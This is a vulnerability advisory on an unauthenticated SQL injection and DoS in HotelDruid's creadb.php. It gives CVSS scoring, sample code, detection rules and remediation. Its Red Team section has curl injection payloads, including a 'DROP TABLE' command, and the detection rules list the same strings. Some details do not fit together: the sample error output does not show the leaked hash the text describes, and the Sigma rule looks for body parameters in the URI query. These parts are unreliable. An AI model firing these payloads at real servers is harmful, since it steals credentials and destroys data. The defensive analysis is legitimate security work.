CVE-2025-44203

Executive Summary

CVE-2025-44203 is a critical vulnerability in HotelDruid 3.0.7, a hotel management application. An unauthenticated attacker can exploit verbose SQL error messages on the creadb.php endpoint before the 'create database' button is pressed. By sending malformed POST requests, the attacker can extract the administrator's username, password hash, and salt. In some cases, the attack results in a Denial of Service (DoS), preventing the administrator from logging in even with correct credentials. The vulnerability is publicly known, and no official patch is available at this time.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
• Confidentiality (C): High (H) – Full credential disclosure.
• Integrity (I): None (N) – No data modification.
• Availability (A): High (H) – DoS can lock out the admin.

CVSS Score: 9.1 (Critical) – High confidentiality and availability impact with no privileges required.

Deep Dive & Mechanics

The vulnerability resides in creadb.php, a script used for database creation during initial setup or maintenance. The endpoint does not require authentication. When a malformed POST request is sent (e.g., invalid SQL syntax or unexpected parameters), the application returns verbose SQL error messages that include sensitive data from the database.

The attack flow:

1. The attacker sends a crafted POST request to creadb.php with parameters that trigger an SQL error.
2. The error message is not sanitized and includes the SQL query string, which may contain the administrator's username, password hash, and salt from the utenti table.
3. In some cases, the malformed request corrupts the database state, causing a DoS that prevents the admin from logging in.

The root cause is the lack of input validation and the use of verbose error reporting in production. The application does not use prepared statements, and error messages are displayed directly to the user.

Vulnerable vs. Patched Code

Vulnerable Code (creadb.php):

<?php
$conn = mysqli_connect($host, $user, $pass);
$sql = "SELECT * FROM utenti WHERE username = '" . $_POST['username'] . "'";
$result = mysqli_query($conn, $sql);
if (!$result) {
    echo "Error: " . mysqli_error($conn);
}
?>

Patched Code (Hypothetical):

<?php
$conn = mysqli_connect($host, $user, $pass);
$stmt = mysqli_prepare($conn, "SELECT * FROM utenti WHERE username = ?");
mysqli_stmt_bind_param($stmt, "s", $_POST['username']);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
if (!$result) {
    error_log("Database error: " . mysqli_error($conn));
    echo "An internal error occurred.";
}
?>

The patched version uses prepared statements to prevent SQL injection and suppresses verbose error messages, logging them instead.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Install HotelDruid 3.0.7 on a local server (e.g., XAMPP or Docker).
• Ensure the creadb.php endpoint is accessible without authentication.

Exploitation Steps:

1. Send a malformed POST request to creadb.php to trigger an SQL error:

   curl -X POST http://target/hoteldruid/creadb.php \
        -d "username=admin' OR '1'='1" \
        -d "password=test"
   

2. Observe the verbose error message in the response, which may contain the admin's password hash and salt.
3. For DoS, send a request that corrupts the database:

   curl -X POST http://target/hoteldruid/creadb.php \
        -d "username=admin'; DROP TABLE utenti; --"
   

Expected Output:

Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1
Query: SELECT * FROM utenti WHERE username = 'admin' OR '1'='1'

Blue Team (Defensive)

Detection:

• Monitor for POST requests to creadb.php with unusual parameters (e.g., SQL keywords, quotes).
• Alert on SQL error messages in HTTP responses from creadb.php.

Mitigation:

• Disable verbose SQL error messages in production.
• Implement input validation and prepared statements.
• Restrict access to creadb.php to authenticated users only.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /hoteldruid/creadb.php with parameters containing SQL syntax (e.g., ', OR, --).
  • HTTP responses containing "Error: You have an error in your SQL syntax" from creadb.php.
• Host:
  • Unauthorized database queries in MySQL logs from the creadb.php script.
  • Corrupted utenti table entries.
• File:
  • Modified creadb.php file (if attacker attempts to patch).

Detection Engineering

YARA Rule

rule CVE_2025_44203_HotelDruid_SQLI {
    meta:
        description = "Detects SQL injection attempts targeting HotelDruid creadb.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-44203"
    strings:
        $s1 = "creadb.php" nocase
        $s2 = "username=" nocase
        $s3 = "password=" nocase
        $s4 = "' OR " nocase
        $s5 = "DROP TABLE" nocase
        $s6 = "SELECT * FROM" nocase
    condition:
        all of ($s1, $s2, $s3) and 1 of ($s4, $s5, $s6)
}

Sigma Rule

title: CVE-2025-44203 HotelDruid SQL Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts against HotelDruid creadb.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'creadb.php'
        cs-uri-query|contains|all:
            - 'username='
            - 'password='
        cs-uri-query|contains|any:
            - "' OR "
            - "DROP TABLE"
            - "SELECT * FROM"
    condition: selection
falsepositives:
    - Legitimate database setup with unusual characters
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-44203 HotelDruid SQL Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"creadb.php"; http_uri;
    content:"username="; http_client_body;
    content:"password="; http_client_body;
    pcre:"/(\x27 OR |DROP TABLE|SELECT \x2A FROM)/i";
    sid:1000001;
    rev:1;
    reference:cve,2025-44203;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable verbose SQL errors: Set display_errors = Off and mysqli_report(MYSQLI_REPORT_OFF) in PHP configuration.
2. Restrict access: Use .htaccess or firewall rules to block external access to creadb.php.
3. Change admin credentials: Immediately change the administrator password and salt.

Long-term Fix:

• Apply prepared statements and parameterized queries in creadb.php.
• Implement proper error handling that logs errors instead of displaying them.
• Upgrade to a patched version when available.

Workaround:

• Remove or rename creadb.php if database creation is not needed.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert